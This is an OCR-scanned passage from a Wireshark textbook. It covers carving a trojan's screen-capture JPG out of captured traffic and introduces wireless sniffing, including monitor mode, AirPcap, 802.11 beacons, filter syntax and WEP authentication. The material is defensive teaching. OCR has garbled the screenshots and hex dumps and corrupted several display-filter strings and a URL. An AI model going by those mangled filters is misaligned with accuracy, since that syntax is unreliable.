ing feature as follows: 


Select Statistics >» IO Graphs. 


2. Insert the filters tcp.stream eq 2, tcp.stream eq 3, tcp.stream eq 4, 
tcp.stream eq 5, and tcp.stream eq 6, respectively, into the five filter dialogs. 


3. Click the Graph 1, Graph 2, Graph 3, Graph 4, and Graph 5 buttons to 
enable the data points for the filters specified. 


4. Change the y-axis scale to Bytes/Tick. 


Figure 10-23 shows the resulting graph. 
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Stream Content: 


ANABILGI|12 
SH|556 


Eu oie uu 


-)10.)-,3: QoSOETT zi 
& 


|CAPSCREEN |C : \WINDOWS\ j pogunooks dat|84972 


EIS actu 


.f.4.P.....MOR zy 1; 
6. MIC. kee qoo —_— Fe SO. Ma. \ 
SEE ..kg5u”eL. Y.. 
.'5.E7u&t(0. 


"... A. a O d. . eRr.G? 


—— CAL eager rr ad 


^ 


t| Entire conversation (85033 bytes) 


[zlo ASCI © EBCDIC © Hex Dump © C Arrays @ Raw 


Taroa 


c 


80s 


 —""HU——— " 


X Axis 
Filter: | tcp.stream eq 2 Style: Line [z] Tick interval:/1 sec : 
Filter: | tcp.stream eq 3 Style: [Line lz] EE {| 
= F] View as time of day 1] 
Filter: | tcp.stream eq 4 Style: Line [z] = 
p E —ÓÁM—————. 
Filter: | tcp.stream eq 5 Style: |Line lz] Unit: Bytes/Tick [+ 
Filter: | tcp.stream eq 6 Style: Line [z] Scale: Auto [=] 
Copy Save || Close 
J 


Figure 10-23: This graph shows that the same activity appears to 


repeat. 


Based on this graph, it appears as though each conversation contains the 
same amount of data and occurs for the same amount of time. We can now 
conclude that this activity repeats several times. 


extraneous data 


You may already have some ideas regarding the content of the JPG image 
being transferred, so let's see if we can actually view one of these JPG files. In 
order to extract the JPG data from Wireshark, perform the following steps: 


l. First, follow the TCP stream of the appropriate packets as described in 


the text preceding Figure 10-22. 


2. The communication must then be isolated so that we only see the stream 
data sent from the victim to the attacker. Do this by selecting the arrow 
next to the drop-down that says Entire Conversation (85033 bytes). Be sure 
to select the appropriate directional traffic, which is 172.16.0.114:6643 --» 


172.16.0.111:4433 (85020 bytes). 


3. Save the data by selecting the Save As button, ensuring that you save the 


file with a jpg file extension. 


If you try to open the image now you may be surprised to find that it won't 
open. That's because we have one more step to perform. Unlike the scenario 


in Chapter 8 where we extracted a file cleanly from FTP traffic, the traffic 


here added some additional content to the actual data. In this case, the first 
two lines seen in the TCP stream are actually part of the trojan's command 
sequence, not part of the data that makes up the JPG (see Figure 10-24). When 
we saved the stream, this extraneous data was also saved. As a result, the file 

viewer that is looking for a JPG file header is seeing content that doesn't match 


what it is expecting, and therefore it can't open the image. 


li Follow TCP Stream comam) 


ETE L A Pave RE En a ERE 
ID PLN, JQRO...C....... &. . &05- 500000000000000000000000000000000000000000000000000. . .... 
Ww. k.. 


DK... T... A. e. )8. . d. . eRr. G? 
bra Yv2e@. j.q. aR6f.wB..2..5....^ 


Pee Pai PE Pee ot Seay) 
kn#.<.Q.m. .. j6. UJM. I. C. BE eae SA ma. \ 


at TAA] 
d f 


UNA NE T E o E e beh ASE q. 2. XL. 


red e TELE 
-..3 .BA.G.W,..M. ]H. .q. hf..." .p. :..... '. qP... iy. .M&2.. "5. ETu&] (Q. ^. . F. f i2i..3. 
oV oS as IO. WS 


FRA A 


ii ] ] 


| (Eind) [Save As] [int] 17216014563 --> 172160111:433 (85020 bytes) a Ele ASCI © EBCDIC © Hex Dump © C Arrays @ Raw 


[ Filter Out This Stream | | Close 


Figure 10-24: The extraneous data added by the trojan prevents the 
file from being opened correctly. 
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Fixing this issue is a painless process, requiring a bit of manipulation 
with a hex editor. This process is called file carving. In Figure 10-25, I've used 
WinHex to highlight the first several bytes of the JPG file. You will need to 
delete these bytes and save the image file using any hex editor. 


n - 
IB WinHex - [CAPSCREEN2 jpg] wise = 
E Eile Edit Search Position View Tools Specialist Options Window Help = sx 
DSST | oS am MAEM ome dG'uoms so &c««»nBH € 
CAPSCREEN2 jpg 
53 Offset 01234567 89A BC DEF ^ 
[unregistriert] r3 
CAPSCREEN2jpg 00000000 53 48 7C 35 35 36 OA 43 41 50 53 43 52 45 45 4E SH|556 CAPSCREEN | | 
(reum 00000010 |?7C 43 3A 5C 57 49 4E 44 4F 57 53 5C 6A 70 67 65 |C:\WINDOWS\jpge 
00000020 76 68 6F 6F 6B 2E 64 61 74 7C 38 34 39 37 32 0A vhook.dat|84972 
Fle size: 830kg | 00000030 |FF D8 FF EO 00 10 4A 46 49 46 00 01 01 00 00 01 Ojà JFIF I 
85020byes | 00000040 |00 01 00 00 FF DB 00 43 00 OD 09 OA OB OA 08 OD y0 c 
00000050 |0B OA OB OE OE OD OF 13 20 15 13 12 12 13 27 1C i | 
DOS name: CAPSCR"24PG | 00000060 |1E 17 20 2E 29 31 30 2E 29 2D 2C 33 3A 4A 3E 33 .)10.)-,3:253 | 
00000070 |36 46 37 2C 2D 40 57 41 46 4C 4E 52 53 52 32 3E | 6F7,-GWAFLNRSR2» | 
Default Edit Mode 00000080 | 5A 61 5A 50 60 4A 51 52 4F FF DB 00 43 01 OE OE  ZaZP'JQROjÜ C 
aae modfed | 00000090 OE 13 11 13 26 15 15 26 4F 35 2D 35 4F 4F 4F 4F & &05-50000 
indo knd: o| 000000A0 | 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F | 0000000000000000 
Uda arees n/a | 000000B0 |4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F | 0000000000000000 
000000CO0 |4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F FF CO | 00000000000000¥A 
Creation time: 04/11/2011 | 000000D0 |00 11 08 03 77 05 6B 03 01 22 00 02 11 01 03 11 wk" 
182504 | 000000E0 |01 FF C4 00 1F 00 00 01 05 01 01 01 01 01 01 00| yä 
000000F0 |00 00 00 00 00 00 00 O1 02 03 04 05 06 07 08 09 
Last write time: 04/11/2011 T 
Page 1 of 333 Offset: 2F - 10 | Block: 0-2F | Size: 30 


e 


Figure 10-25: Removing the extraneous bytes from the JPG file 


With the unneeded bytes of data removed, the file should open. It should 
be clear now that the trojan is taking screen captures of the victim's desktop 
and transmitting them back to the attacker (Figure 10-26). 


G 
|] CAPSCREEN2 jpg - Windows Photo Vi 


| il E-mail Bum v 


Figure 10-26: The JPG being transferred is a screen capture of the victim's computer. 


After these communication sequences have completed, the communica- 
tion ends with a normal TCP teardown sequence. 

This scenario is a prime example of the thought process an intrusion 
analyst would follow when analyzing traffic based on an IDS alert: 


e Examine the alert and the signature that fired it. 


e Confirm that the signature was actually in the traffic in the proper context. 


e Examine traffic to find out what the attacker did with the compromised 
machine. 


e Begin containment of the issues before any more sensitive information 
leaks from the compromised victim. 


Final Thoughts 


Entire books could be written on breaking down packet captures in security- 
related scenarios, analyzing common attacks, and responding to IDS alerts. 
In this chapter we've examined some common scanning and enumeration 
types, a common MITM attack, and two examples of how a system might be 
exploited and what might happen once it is has been owned. 
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WIRELESS PACKET ANALYSIS 


The world of wireless networking is a bit 
different than traditional wired networking. 
Although we are still dealing with common 

communication protocols such as TCP and IP, 
the game changes a bit when moving to the lowest levels 
of the OSI model. Here, the data link layer is of special 
importance due to the nature of wireless networking 
and the physical layer. This puts new restrictions on 
the data we access and how we capture it. 


Given these extra considerations, it should come as no surprise that an 
entire chapter of this book is dedicated to packet capture and analysis on 
wireless networks. In this chapter, we will discuss exactly why wireless net- 
works are unique when it comes to packet analysis and how to overcome the 
challenges. Of course, we will be doing this by looking at actual practical 
examples of wireless network captures. 
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The first thing to consider about capturing and analyzing data transmitted 
across a wireless network is the physical transmission medium. Until now, we 
have not considered the physical layer, because we've been communicating 
over physical cabling. Now we are communicating through invisible airwaves, 
with packets flying right by us. 


Sniffing One Channel at a Time 


The most unique consideration when capturing traffic from a wireless local 
area network (WLAN) is that the wireless spectrum is a shared medium. Unlike 
wired networks, where each client has its own network cable connected to a 
switch, the wireless communication medium is the airspace client's share, which 
is limited in size. A single WLAN will occupy only a portion of the 802.11 
spectrum. This allows multiple systems to operate in the same physical area 
on different portions of the spectrum. 


Wireless networking is based on the 802.11 standard, developed by the Institute of 
Electrical and Electronics Engineers (IEEE). Throughout this chapter, the terms wire- 
less network and WLAN refer to networks that adhere to the 802.11 standard. 


This separation of space is made possible by dividing the spectrum into 
operation channels. A channel is simply a portion of the 802.11 wireless spec- 
trum. In the United States, 11 channels are available (more are allowed in 
some other countries). This is relevant because, just as a WLAN can operate 
on only one channel at a time, we can sniff packets on only one channel at 
a time, as illustrated in Figure 11-1. Therefore, if you are troubleshooting a 
WLAN operating on channel 6, you must configure your system to capture 
traffic seen on channel 6. 


(D) 


Wireless 
Access Point 


Wireless Client 


AAAA À AÀÀ AÀ3À4.5410 
Looo0owWoobotm-— 


Wireless Spectrum 
(11 Channels) 


Figure 11-1: Sniffing wirelessly can be tedious, since it can be 
done on only one channel at a time. 


Traditional wireless sniffing can only be done one channel at a time, with one exception: 
Certain wireless scanning applications utilize a technique called channel hopping to 
change channels rapidly in order to collect data. One of the most popular tools of this 
type, Kismet (http:/ /www.kismetwireless.net/), can hop up to 10 channels per 
second, which makes it very effective at sniffing multiple channels at once. 


Wireless Signal Interference 


With wireless communications, we sometimes can't rely on the integrity of the 
data being transmitted over the air. It's possible that something will interfere 
with the signal. Wireless networks include some features to handle interfer- 
ence, but those features don't always work. Therefore, when capturing packets 
over a wireless network, you must pay close attention to your environment to 
ensure that there are no large sources of interference, such as big reflective 
surfaces, large rigid objects, microwaves, 2.4 GHz phones, thick walls, and 
high-density surfaces. These can cause packet loss, duplicated packets, and 
malformed packets. 

Interference between channels is also a concern. Although you can sniff 
only one channel at a time, this comes with a small caveat: Several different 
transmission channels are available in the wireless networking spectrum, but 
because space is limited, there is a slight overlap between channels, as illus- 
trated in Figure 11-2. This means that if there is traffic present on channel 4 
and channel 5, and you are sniffing on one of these channels, you will likely 
capture packets from the other channel. Typically, networks that coexist in 
the same area are designed to use nonoverlapping channels of 1, 6, and 11, 
so you will probably not encounter this problem, but just in case, you should 
understand why it happens. 


Channel Center 


+22 % 22978 2 PPB 


2.402 GHz 22 MHz 2.483 GHz 


Figure 11-2: There is overlap between channels due to limited spectrum space. 


Detecting and Analyzing Signal Interference 


Troubleshooting wireless signal interference isn’t something that can be done 
by looking at packets in Wireshark. If you are going to make a habit or a 
career out of troubleshooting WLANs, you will surely need to check for signal 
interference regularly. This task is done with a spectrum analyzer, which is a 
tool that displays data or interference across the spectrum. 

Commercial spectrum analyzers can cost upward of thousands of dollars, 
but there is a great solution for common everyday use. MetaGeek makes a 
product called the Wi-Spy, which is a USB hardware device that monitors the 
entire 802.11 spectrum for interference. When paired with MetaGeek's 
Chanalyzer software, this hardware outputs the spectrum graphically to aid 
in the troubleshooting process. Sample output from Chanalyzer is shown in 
Figure 11-3. 
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98 Chanalyzer 34 


File Edit View Recordings Reports Help 


Start Page 


Y Wi-Spy DBx[1] 
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Figure 11-3: This Chanalyzer output shows several WLANs operating in the same area. 


Wireless Card Modes 


Chapter 11 


Before we start sniffing wireless packets, we need to look at the different 
modes in which a wireless card can operate as it pertains to packet capture. 
Four wireless NIC modes are available: 


Managed mode This mode is used when your wireless client connects 
directly to a wireless access point (WAP). In these cases, the driver asso- 
ciated with the wireless NIC relies on the WAP to manage the entire 
communication process. 


Ad hoc mode This mode is used when you have a wireless network setup 
in which devices connect directly to each other. In this mode, two wireless 
clients that want to communicate with each other share the responsibilities 
that a WAP would normally handle. 


Master mode Some higher-end wireless NICs also support master mode. 
This mode allows the wireless NIC to work in conjunction with special- 
ized driver software in order to allow the computer to act as a WAP for 
other devices. 


Monitor mode This is the most important mode for our purposes. 
Monitor mode is used when you want your wireless client to stop trans- 
mitting and receiving data, and listen only to the packets flying through 
the air. In order for Wireshark to capture wireless packets, your wireless 
NIC and accompanying driver must support monitor mode (also known 
as RFMON mode). 


NOTE 


Most users use wireless cards in only managed mode or ad hoc mode. A 
graphical representation of the way each mode operates is shown in Figure 11-4. 


Managed Mode 
da A d 
Wireless Client Wireless Access Wireless Client 
Point 
Ad-Hoc Mode 
- 
- 
Wireless Client Wireless Client 
Master Mode 
Wireless Client Wireless Client Wireless Client 
(Master) 
Monitor Mode 
Wireless Client Wireless Client 


Wireless Client 
(Monitoring) 


Figure 11-4: The different wireless card modes 


I'm often asked which wireless card I recommend for wireless packet analysis. I use and 
highly recommend the ALFA 1000mW USB wireless adapter. It's highly regarded as one 
of the best on the market for ensuring you are capturing every possible packet. It is 
available through most online computer hardware retailers. 


Sniffing Wirelessly in Windows 


Even if you have a wireless NIC that supports monitor mode, most Windows- 
based wireless NIC drivers won’t allow you to change into this mode (WinPcap 
doesn’t support this either). You’ll need a little extra hardware to get the 
job done. 


Configuring AirPcap 


AirPcap (from CACE Technologies, now a part of Riverbed, http://www 
.cacetech.com/) is designed to overcome the limitations that Windows places 
on wireless packet analysis. AirPcap is a small USB device that resembles a 
flash drive, as shown in Figure 11-5. It is designed to capture wireless traffic. 
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AirPcap uses the WinPcap driver discussed in Chapter 3 and a special client 
configuration utility. 


Figure 11-5: The AirPcap device is very compact, 
making it easy to tote along with a laptop. 


The AirPcap configuration program is simple to use, with only a few con- 
figurable options. The AirPcap Control Panel, shown in Figure 11-6, offers 
the following options: 


Interface You can select the device you are using for your capture here. 
Some advanced analysis scenarios may require you to use more than one 
AirPcap device to sniff simultaneously on multiple channels. 


BlinkLed Clicking this button will make the LED lights on the AirPcap 
device blink. This is primarily used to identify the specific adapter you 
are using if you have multiple AirPcap devices. 


Channel In this field, you select the channel you want AirPcap to listen on. 


Include 802.11 FCS in Frames By default, some systems strip the last 
four checksum bits from wireless packets. This checksum, known as a 
frame check sequence (FCS), is used to ensure that packets have not 
been corrupted during transmission. Unless you have a specific reason to 
do otherwise, check this box to include the FCS checksums. 


Capture Type The two options here are 802.11 Only and 802.11 + Radio. 
This 802.11 Only option includes the standard 802.11 packet header on 
all captured packets. The 802.114 Radio option includes this header and 
also prepends it with a radiotap header, which contains additional infor- 
mation about the packet, such as data rate, frequency, signal level, and 
noise level. Choose 802.11 Radio in order to see all available packet 
information. 


FCS Filter Even if you uncheck the Include 802.11 FCS in Frames box, 
this option lets you filter out packets that FCS determines are corrupted. 
Use the Valid Frames option to show only those packets that FCS thinks 
can be received successfully. 


WEP Configuration This area (accessible on the Keys tab of the AirPcap 
Control Panel) allows you to enter WEP decryption keys for the networks 
you will be sniffing. In order to be able to interpret data encrypted by 
WEP, you will need to enter the correct WEP keys into this field. WEP 
keys are discussed in *Wireless Security" on page 228. 


® AirPcap Control Panel Ww) EE 


Settings | Keys 
Interface 
AirPcap USB wireless capture adapter nr. 00 Z | l Blink Led 
Model: AirPcap Tx Transmit: yes Media: 802.11 b/g 


Basic Configuration 


Channel |2462 MHz [BG 11] ~| [V] Include 802.11 FCS in Frames 


Extension Channel |0 M 


Capture Type [80231 «Rado +] FCS Fiter 


Reset Configuration [ Dk ) l Apply ] l Cancel | 


S I 


Figure 11-6: The AirPcap configuration program 


Capturing Traffic with AirPcap 


Once you have AirPcap installed and configured, the capture process should 
be familiar to you. Just start up Wireshark and select Capture > Options. 
Next, select your AirPcap device in the Interface selection box @, as shown 
in Figure 11-7. 


V] Wireshark: Capture Options [Fas Eg 
Capture- 
Interface: [Locat | i | |irPcap USB wireless capture adapter nr. 00: \\.\airpcap00 (1) [ Z J 


IP address: unknown 
Link-layer header type: | 80211 plus radictap header | ~ | [ Wireless Settings | 


W] Capture packets in promiscuous mode 


RemoteSettings | 


| ] Capture packets in pcap-ng format (experimental = 
l LUE jadikan A REER E megabyte) 
I| | [C] Limit each packet to 1 = bytes |... | 
f Capture Filter: | [E] 
ll 

Capture File(s) Display Options — — — — — — —4 


M Fite: | | (Browse. 


Use multiple files 
[Z] Next file every 1 El |megabyte(s) I-] |V] Automatic scrolling in live capture 
C] Next file every E ; lI m EE V. 
J] Ring buffer with |2 E files 


= 7 Name Resolution — — — — — ——j, 
|_| Stop capture after |1 f file(s) 


SJ 


Update list of packets in real time 


3] 


Hide capture info dialog 


-Stop Capture ... = = = ED V] Enable MAC name resolution 
LS alts =] packet(s) 7] Enable network name resolution 
[7] ... after 1 E megabyte(s) ~| 
F] ... after 1 + | minute(s) = | | ] Enable transport name resolution 
mm T 
z d 


Figure 11-7: Choosing the AirPcap device as your capture 
interface 


Everything on this screen should look familiar except for the Wireless 
Settings button. Clicking this button will give you the same options that the 
AirPcap utility gave you, as shown in Figure 11-8. Because Wireshark is com- 
pletely integrated with AirPcap, anything configured in the client utility can 
also be configured from within Wireshark. 


Wireless Packet Analysis 221 


ll] Advanced Wireless Settings a rex) 


rInterface— ——————— ————— 


AirPcap USB wireless capture adapter nr. 00 


Basic Parameters 


Channel: 2462 [BG 11] x|  (V]Include802111 FCS in Frames 
Channel Offset: 0 
Capture Type: — (80211 + Radio [v]  FCSFilter|All Frames - 


(ca) Gena Gore) 
=E 


D. - 


Figure 11-8: The Advanced Wireless Settings dia- 
log allows you to configure AirPcap from within 


Wireshark. 


Once you have everything configured to your liking, begin capturing 
packets by clicking the Start button. 


Sniffing Wirelessly in Linux 


Sniffing in Linux is simply a matter of enabling monitor mode on the wire- 
less NIC and firing up Wireshark. Unfortunately, the procedure for enabling 
monitor mode differs with each model of wireless NIC, so I can't offer a 
definitive guide for that here. In fact, some wireless NICs don't require you 
to enable monitor mode. Your best bet is to do a quick Google search for 
your NIC model to determine how to enable it and if you need to do so. 

One of the more common ways to enable monitor mode in Linux is 
through its built-in wireless extensions. You can access these wireless exten- 
sions with the iwconfig command. If you type iwconfig from the console, you 
should see results like this: 


$ iwconfig 
Etho no wireless extensions 
Loo no wireless extensions 
Ethi IEEE 802.11gESSID: "Tesla Wireless Network" 
Mode: Managed Frequency: 2.462 GHz Access Point: 00:02:2D:8B:70:2E 
Bit Rate: 54 Mb/s Tx-Power-20 dBm Sensitivity=8/0 
Retry Limit: 7 RTS thr: off Fragment thr: off 
Power Management: off 
Link Quality-75/100 Signal level=-71 dBm Noise level--86 dBm 
Rx invalid nwid: 0 Rx invalid crypt: 0 Rx invalid frag: O 
Tx excessive retries: 0 Invalid misc: 0 Missed beacon: 2 


The output from the iwconfig command shows that the Eth1 interface can 
be configured wirelessly. This is apparent because it shows data for the 802.11g 
protocol, whereas the interfaces Etho and Loo return the phrase no wireless 
extensions. 
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NOTE 


Along with all of the wireless information this command provides, such 
as the wireless extended service set ID (ESSID) and frequency, notice that 
the second line under Eth1 shows that the mode is currently set to managed. 
This is what we want to change. 

In order to change the Eth1 interface to monitor mode, you must be logged 
in as the root user, either directly or via the switch user (su) command, as 
shown here. 


$ su 
Password: «enter root password here» 


Once you're root, you can type commands to configure the wireless 
interface options. To configure Eth1 to operate in monitor mode, type this: 


# iwconfig eth1 mode monitor 


Once the NIC is in monitor mode, running the iwconfig command again 
should reflect your changes. Now ensure that the Eth1 interface is operational 
by typing the following: 


# iwconfig eth1 up 


We'll also use the iwconfig command to change the channel we are listen- 
ing on. Change the channel of the Eth1 interface to channel 3 by typing this: 


# iwconfig eth1 channel 3 


You can change channels on the fly as you are capturing packets, so don’t hesitate to do 
this at will. This inconfig command can also be scripted to make the process easier. 


When you have completed these configurations, start Wireshark and 
begin your packet capture. 


802.11 Packet Structure 


80211 beacon 
.pcap 


The primary difference between wireless and wired packets is the addition of 
the 802.11 header. This is a layer 2 header that contains extra information 
about the packet and the medium on which it is transmitted. There are three 
types of 802.11 packets: 


Management These packets are used to establish connectivity between 
hosts at layer 2. Some important subtypes of management packets include 
authentication, association, and beacon packets. 


Control Control packets allow for delivery of management and data 
packets and are concerned with congestion management. Common 
subtypes include request-to-send and clear-to-send packets. 
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Data These packets contain actual data and are the only packet type 
that can be forwarded from the wireless network to the wired network. 


The type and subtype of a wireless packet determines its structure, so 
there are a large number of possible structures. We will examine one such 
structure by looking at a single packet in the file 8021 1beacon.pcap. This file 
contains an example of a management packet called a beacon, as shown in 
Figure 11-9. 


lil 1 0.000000 D-Link 0b:22:ba Broadcast IEEE 802.11 Beacon frame, SN=1352, FN=0, Flags-..... BI=100 Slips bl L5)« E SM 


Frame 1: 132 bytes on wire (1056 bits), 132 bytes captured (1056 bits) 
B IEEE 802.11 Beacon frame, Flags: ........ 


B Type/Subtype: Beacon frame (0x08) 
Frame Control: 0x0080 (Normal) 
Duration: 0 
Destination address: Broadcast (ff:ff:ff:ff:ff:ff) 
@ source address: D-Link_0b:22:ba (00:13:46:0b:22:ba) 
BSS Id: D-Link_0b:22:ba (00:13:46:0b:22:ba) 
Fragment number: O 
Sequence number: 1352 
E] IEEE 802.11 wireless LAN management frame 
S Fixed parameters (12 bytes) 
Timestamp: 0x000000001685A181 
Beacon Interval: 0.102400 [seconds] 
Capability Information: 0x0431 
S Tagged parameters (96 bytes) 
SSID parameter set 
[3]5] Supported Rates: 1.0(B) 2.0(B) 5.5(B) 11.0(B) 6.0 12.0 24.0 36.0 
DS Parameter set: Current Channel: 11 
Traffic Indication Map (TIM): DTIM O of 1 bitmap empty 
ERP Information: no Non-ERP STAs, do not use protection, short or long preambles || 
Extended Supported Rates: 9.0 18.0 48.0 54.0 
vendor Specific: Atherosc 
vendor Specific: Atherosc 
vendor Specific: Atherosc 
vendor Specific: Globalsu 


0000 SO 00 00 00 00 13 46 Ob 22 ba 
0010 ERT) rere, 81 al 85 16 00 00 00 00 
0020 64 00 31 04 00 05 54 45 53 4c 41 O1 08 82 84 8b 
0030 96 Oc 18 30 48 03 01 Ob 05 04 00 O1 00 00 2a 01 
0040 00 32 04 12 24 60 6c dd 09 00 03 7f 01 01 00 Oe 


(ntn nn nn dd n- nn n2 7£ no ^d ^ nn nn no 52 4n nn a 


m) » 


4 


c 


Figure 11-9: This is an 802.11 beacon packet. 


A beacon is one of the most informative wireless packets you can find. It 
is sent as a broadcast packet from a WAP across a wireless channel to notify 
any listening wireless clients that the WAP is available and to define the param- 
eters that must be set in order to connect to it. In our example file, you can 
see that this packet is defined as a beacon in the Type/Subtype field in the 
802.11 header O9. 

A great deal of additional information is found in the 802.11 manage- 
ment frame header, including the following: 


Timestamp The time the packet was transmitted. 
Beacon Interval The interval at which the beacon packet is retransmitted. 


Capability Information Information about the hardware capabilities of 
the WAP. 


SSID Parameter Set The SSID (network name) broadcast by the WAP. 


Supported Rates The data transfer rates supported by the WAP. 
DS Parameter The channel on which the WAP is broadcasting. 


The header also includes the source and destination addresses and 
vendor-specific information. 

Based on this knowledge, we can determine quite a few things about the 
WAP transmitting the beacon in the example file. It is apparent that itisa 
D-Link device @ using the 802.11b standard (B) 6 on channel 11 O. 

Although the exact contents and purpose of 802.11 management packets 
will change, the general structure remains similar to this example. 


Adding Wireless-Specific Columns to the Packet List Pane 


As you've seen, Wireshark typically shows six individual columns in the Packet 
List pane. Before we proceed with any additional wireless analysis, it will be 
helpful to add three new columns to the Packet List pane: 


e The RSSI (for Received Signal Strength Indication) column, to show the 
radio frequency (RF) signal strength of a captured packet 


e TX Rate (for Transmission Rate) column, to show the data rate of a 
captured packet 


e The Frequency/Channel column, to show the frequency and channel on 
which the packet was collected 


These indicators can be of great help when troubleshooting wireless con- 
nections. For instance, even if your wireless client software says you have excel- 
lent signal strength, doing a capture and checking these columns may show 
you a number that does not support this claim. 

To add these columns to the Packet List pane, follow these steps: 


1. Choose Edit > Preferences. 
2. Navigate to the Columns section and click New. 


3. Type RSSI in the Title field and select IEEE 802.11 RSSI in the Field 
type drop-down list. 


4. Repeat this process for the TX Rate and Frequency/ Channel columns, 
titling them appropriately and selecting IEEE 802.11 TX Rate and 
Channel/Frequency in the Field type drop-down list. Figure 11-10 
shows what the Preferences window should look like after you have 
added all three columns. 
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ll] Wireshark: Preferences - Profile: Default oJ) saa) 


E User Interface Columns 


Layout [The first list entry will be displayed as the leftmost column - Drag and drop entries to change column order] 
Cane Title Field type 


Font No. Number 


Colors Time Time (format as specified) 


Source Source address 
Capture 


* Destination Destination address 
rinting 


Protocol Protocol 
Name Resolution 
Frequency/Channel Frequency/Channel 
RSSI IEEE 802.11 RSSI 


TX Rate IEEE 802.11 TX rate 


Statistics 


Æ Protocols 


Info Information 


Properties 


| Add 


Field type: — IEEE 802.11 TX rate 


Re 
Remove Field name: 


Help Le  ][ apy ] [cancel 


Figure 11-10: Adding the IEEE wireless-specific columns in the Packet List pane 


5. Click OK to save your changes. 


Restart Wireshark to display the new columns. 


Wireless-Specific Filters 
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We discussed the benefits of capture and display filters in Chapter 4. Filter- 
ing traffic in a wired infrastructure is a lot easier, since each device has its 
own dedicated cable. In a wireless network, however, all traffic generated by 
wireless clients coexists on shared channels, which means that a capture of 
any one channel may contain traffic from dozens of clients. This section is 
devoted to some packet filters that can be used to help you find specific 
traffic. 


Filtering Traffic for a Specific BSS ID 


Each WAP in a network has a unique identifying name called its basic service 
set identifier (BSS ID). This name is sent in every wireless management packet 
and data packet the access point transmits. 

Once you know the name of the BSS ID you want to examine, all you 
really need to do is find a packet that has been sent from that particular WAP. 
Wireshark shows the transmitting WAP in the Info column of the Packet List 
pane, so finding this information is typically pretty easy. 

Once you have a packet from the WAP of interest, find its BSS ID field in 
the 802.11 header. This is the address on which you will base your filter. After 
you have found the BSS ID MAC address, you can use this filter: 


wlan.bssid.eq 00:11:22:33:44:55:66 


And you will see only the traffic flowing through the specified WAP. 


Filtering Specific Wireless Packet Types 


Earlier in this chapter, we discussed the different types of wireless packets you 
might see on a network. You will often need to filter based on these types and 
subtypes. This can be done with the filters wlan. fc.type for specific types, and 
wc.fc.lype subtype for specific type or subtype combinations. For instance, to 
filter for a NULL data packet (a Type 2 Subtype 4 packet in hex), you could 
use the filter wlan.fc.type subtype eq 0x24. Table 11-1 provides a quick reference 
to some common filters you might need when filtering on 802.11 packet 
types and subtypes. 


Table 11-1: Wireless Types/Subtypes and Associated Filter Syntax 


Frame Type/Subtype Filter Syntax 

Management frame wlan.fc.type eq O 

Control frame wlan.fc.type eq 1 

Data frame wlan.fc.type eq 2 
Association request wlan.fc.type subtype eq 0x00 
Association response wlan.fc.type subtype eq 0x01 
Reassociation request wlan.fc.type subtype eq 0x02 
Reassociation response wlan.fc.type subtype eq 0x03 
Probe request wlan.fc.type subtype eq 0x04 
Probe response wlan.fc.type subtype eq 0x05 
Beacon wlan.fc.type subtype eq 0x08 
Disassociate wlan.fc.type subtype eq OxOA 
Authentication wlan.fc.type subtype eq OxOB 
Deauthentication wlan.fc.type subtype eq OxOC 
Action frame wlan.fc.type subtype eq OxOD 
Block ACK requests wlan.fc.type subtype eq Ox18 
Block ACK wlan.fc.type subtype eq Ox19 
Power save poll wlan.fc.type subtype eq Ox1A 
Request to send wlan.fc.type subtype eq Ox1B 
Clear to send wlan.fc.type subtype eq 0x1C 
ACK wlan.fc.type subtype eq 0x1D 
Contention free period end wlan.fc.type subtype eq Ox1E 
NULL data wlan.fc.type subtype eq 0x24 
QoS data wlan.fc.type subtype eq 0x28 
Null QoS data wlan.fc.type subtype eq Ox2C 


Filtering a Specific Frequency 


If you are examining a compilation of traffic that includes packets from 
multiple channels, it can be very useful to filter based on each individual 
channel. For instance, if you are expecting to have traffic present on only 
channels 1 and 6, you can input a filter to show all channel 11 traffic. If you 
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find any traffic, then you will know that something is wrong—perhaps a 
misconfiguration or a rogue device. In order to filter on a specific fre- 
quency, use this filter syntax: 


radiotap.channel.freq -- 2412 


This will show all traffic on channel 1. You can replace the 2412 value 
with the appropriate frequency for the channel you wish to filter. Table 11-2 
lists the frequencies associated with each channel. 


Table 11-2: 802.11 Wireless Channels and Frequencies 


Channel Frequency 
2412 
2417 
2422 
2427 
2432 
2437 
2442 
2447 
2452 
2457 
2462 


— — 500 40o Cc RO ND — 


— Qo 


There are hundreds of additional useful filters that you can use for wire- 
less network traffic. You can view additional wireless capture filters on the 
Wireshark wiki at Attp://wiki.wiresharh.ore/. 
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The biggest concern when deploying and administering a wireless network is 
the security of the data transmitted across it. With data flying through the air, 
free for the taking by anyone who knows how, it's crucial that data be encrypted. 
Otherwise, anyone with Wireshark and an AirPcap card can see it. 


When another layer of encryption, such as SSL or SSH, is used, traffic will still be 
encrypted at that layer, and the user's communication will still be unreadable by a 
person with a packet sniffer. 


The original preferred method for securing data transmitted over wire- 
less networks was in accordance with the Wired Equivalent Privacy (WEP) 
standard. WEP was mildly successful for years until several weaknesses were 
uncovered in its encryption key management. To improve security, new stan- 
dards were created. These include the Wi-Fi Protected Access (WPA) and 
WPA2 standards. Although WPA and its more secure revision WPA2 are still 
fallible, they are considered more secure than WEP. 


80211-WEPauth 
.pcap 


In this section, we will look at some WEP and WPA traffic, along with 
examples of failed authentication attempts. 


Successful WEP Authentication 


The file 80211-WEPauth.pcap contains an example of a successful connection 
to a WEP-enabled wireless network. The security on this network is set up 
using a WEP key. This is a key you must provide to the WAP in order to 
authenticate to it and decrypt data sent from it. You can think of this WEP 
key as a wireless network password. 

As shown in Figure 11-11, the capture file begins with a challenge from 
the WAP (00:11:88:6b:68:30) to the wireless client (00:14:a5:30:b0:af) in 
packet 4 €. The purpose of this challenge is to determine if the wireless client 
has the correct WEP key. You can see this challenge by expanding the 802.11 
header and its tagged parameters. 


= - -— = ^ 
ll 4 0.001625 Enterasy 6b:68:30 GemtekTe_30:b0:af IEEE 802.11 Authentication, SN=1388, FN=0, Flags-..... croce) 


@ Frame 4: 160 bytes on wire (1280 bits), 160 bytes captured (1280 bits) ] 
IEEE 802.11 Authentication, Flags: ........ 
E IEEE 802.11 wireless LAN management frame 
Ej Fixed parameters (6 bytes) 
Authentication Algorithm: shared key (1) | 
Authentication SEQ: 0x0002 | 
Status code: Successful (0x0000) 
E Tagged parameters (130 bytes) 
m challenge text ] 
Tag Number: 16 (challenge text) | 
Tag length: 128 | 
